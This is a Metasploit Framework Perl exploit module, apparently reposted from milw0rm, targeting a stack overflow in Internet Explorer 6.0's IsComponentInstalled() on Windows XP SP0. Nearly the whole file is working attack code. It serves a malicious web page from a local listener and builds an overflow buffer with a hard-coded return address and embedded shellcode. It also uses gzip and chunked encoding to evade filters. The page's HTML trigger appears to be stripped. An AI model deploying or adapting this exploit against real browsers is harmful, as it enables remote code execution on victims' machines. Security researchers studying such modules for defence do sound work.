## # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field below. In the # case of an unknown or missing license, this file defaults to the same # license as the core Framework (dual GPLv2 and Artistic). The latest # version of the Framework can always be obtained from metasploit.com. ## package Msf::Exploit::ie_iscomponentinstalled; use strict; use base "Msf::Exploit"; use Pex::Text; use IO::Socket::INET; use IPC::Open3; my $advanced = { 'Gzip' => [1, 'Enable gzip content encoding'], 'Chunked' => [1, 'Enable chunked transfer encoding'], }; my $info = { 'Name' => 'Windows XP SP0 IE 6.0 IsComponentInstalled() Overflow', 'Version' => '$Revision: 1.2 $', 'Authors' => [ 'H D Moore ', ], 'Description' => Pex::Text::Freeform(qq{ This module exploits a stack overflow in Internet Explorer. This bug was patched in Windows 2000 SP4 and Windows XP SP1 according to MSRC. }), 'Arch' => [ 'x86' ], 'OS' => [ 'win32' ], 'Priv' => 0, 'AutoOpts' => { 'EXITFUNC' => 'thread' }, 'UserOpts' => { 'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ], 'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ], }, 'Payload' => { 'Prepend' => "\x81\xec\x96\x40\x00\x00\x66\x81\xe4\xf0\xff", 'Space' => 512, 'BadChars' => "\x00\x5c\x0a\x0d\x22", 'Keys' => ['-bind'], }, 'Refs' => [ ], 'DefaultTarget' => 0, 'Targets' => [ [ 'Windows XP SP0 with Internet Explorer 6.0', 0x71aa16e5 ] ], 'Keys' => [ 'ie' ], 'DisclosureDate' => 'Feb 24 2006', }; sub new { my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); return($self); } sub Exploit { my $self = shift; my $server = IO::Socket::INET->new( LocalHost => $self->GetVar('HTTPHOST'), LocalPort => $self->GetVar('HTTPPORT'), ReuseAddr => 1, Listen => 1, Proto => 'tcp' ); my $client; # Did the listener create fail? if (not defined($server)) { $self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT')); return; } my $httphost = ($self->GetVar('HTTPHOST') eq '0.0.0.0') ? Pex::Utils::SourceIP('1.2.3.4') : $self->GetVar('HTTPHOST'); $self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/"); while (defined($client = $server->accept())) { $self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client)); } return; } sub HandleHttpClient { my $self = shift; my $fd = shift; # Set the remote host information my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr); # Read the HTTP command my ($cmd, $url, $proto) = split(/ /, $fd->RecvLine(10), 3); my $agent; # Read in the HTTP headers while ((my $line = $fd->RecvLine(10))) { $line =~ s/^\s+|\s+$//g; my ($var, $val) = split(/\:/, $line, 2); # Break out if we reach the end of the headers last if (not defined($var) or not defined($val)); $agent = $val if $var =~ /User-Agent/i; } $self->PrintLine("[*] Client connected from $rhost:$rport ($agent)"); my $res = $fd->Send($self->BuildResponse($self->GenerateHTML())); $fd->Close(); } sub GenerateHTML { my $self = shift; my $target = $self->Targets->[$self->GetVar('TARGET')]; my $shellcode = $self->GetVar('EncodedPayload')->Payload; my $pattern = Pex::Text::AlphaNumText(8192); substr($pattern, 755, 4, pack('V', $target->[1] )); substr($pattern, 755 + 2888, length($shellcode), $shellcode); my $data = qq| One second please... One second please... |; return $data; } sub BuildResponse { my ($self, $content) = @_; my $response = "HTTP/1.1 200 OK\r\n" . "Content-Type: text/html\r\n"; if ($self->GetVar('Gzip')) { $response .= "Content-Encoding: gzip\r\n"; $content = $self->Gzip($content); } if ($self->GetVar('Chunked')) { $response .= "Transfer-Encoding: chunked\r\n"; $content = $self->Chunk($content); } else { $response .= 'Content-Length: ' . length($content) . "\r\n" . "Connection: close\r\n"; } $response .= "\r\n" . $content; return $response; } sub Chunk { my ($self, $content) = @_; my $chunked; while (length($content)) { my $chunk = substr($content, 0, int(rand(10) + 1), ''); $chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n"; } $chunked .= "0\r\n\r\n"; return $chunked; } sub Gzip { my $self = shift; my $data = shift; my $comp = int(rand(5))+5; my($wtr, $rdr, $err); my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force'); print $wtr $data; close ($wtr); local $/; return (<$rdr>); } 1; # milw0rm.com [2006-02-28]